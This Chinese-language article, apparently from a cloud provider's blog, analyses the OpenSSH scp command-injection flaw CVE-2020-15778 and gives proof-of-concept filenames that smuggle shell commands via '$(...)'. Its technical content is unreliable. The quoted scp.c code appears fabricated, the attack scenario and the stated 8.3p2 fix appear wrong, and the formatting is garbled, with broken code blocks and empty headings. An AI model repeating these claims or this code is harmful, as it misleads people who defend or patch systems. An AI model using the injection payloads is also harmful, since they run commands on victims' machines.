您好,登录后才能下订单哦!
密码登录
登录注册
点击 登录注册 即表示同意《亿速云用户服务条款》
# OpenSSH命令注入漏洞CVE-2020-15778该如何分析
## 漏洞概述
CVE-2020-15778是OpenSSH客户端(scp组件)中存在的一个命令注入漏洞,于2020年7月披露。该漏洞允许攻击者在特定条件下通过精心构造的恶意文件名执行任意命令,影响OpenSSH 8.3p1及之前版本。
## 技术背景
### SCP协议工作机制
SCP(Secure Copy Protocol)基于SSH协议实现文件传输,其工作流程包括:
1. 客户端通过SSH通道建立连接
2. 服务器启动`scp -t`(接收模式)或`scp -f`(发送模式)
3. 通过标准输入/输出传输文件元数据和内容
### 漏洞根源
漏洞存在于scp客户端的**文件名处理逻辑**中。当使用SCP递归复制(`-r`参数)时,客户端会直接将文件名拼接到本地shell命令中执行,未对特殊字符进行过滤。
## 漏洞复现分析
### 攻击场景
假设攻击者控制远程服务器,并创建恶意文件名:
```bash
touch 'malicious_file$(id>exploit).txt'
当受害者执行:
scp -r user@attacker-server:/malicious_dir/ .
实际会执行:
/usr/bin/scp -r -f 'malicious_file$(id>exploit).txt'
在openssh-portable/scp.c中:
void sink(int argc, char **argv)
{
/* ... */
if (recurse) {
run_err("scp: %s: not a regular file", cp);
(void) snprintf(cmdbuf, sizeof(cmdbuf),
"cd %s && exec scp -%scp %s %s", // 命令拼接点
cmd, sflag, cmd, src);
(void) system(cmdbuf); // 直接执行系统命令
}
}
OpenSSH 8.3p2通过以下方式修复:
1. 禁用SCP协议中的递归复制功能
2. 推荐使用更安全的sftp
或rsync
替代
# 禁用scp命令别名
unalias scp 2>/dev/null
# 使用完整路径执行
/usr/bin/scp
静态分析工具
动态测试工具
strace -f -e execve scp -r test@localhost:/malicious/ .
漏洞验证POC
# 生成恶意文件名
open("payload$(touch /tmp/pwned).txt", "w").close()
该漏洞再次证明:即使是广泛使用的成熟工具,也可能存在基础安全缺陷。安全研究人员应持续关注协议实现细节,特别关注数据流与控制流的交互点。 “`
免责声明:本站发布的内容(图片、视频和文字)以原创、转载和分享为主,文章观点不代表本网站立场,如果涉及侵权请联系站长邮箱:is@yisu.com进行举报,并提供相关证据,一经查实,将立刻删除涉嫌侵权内容。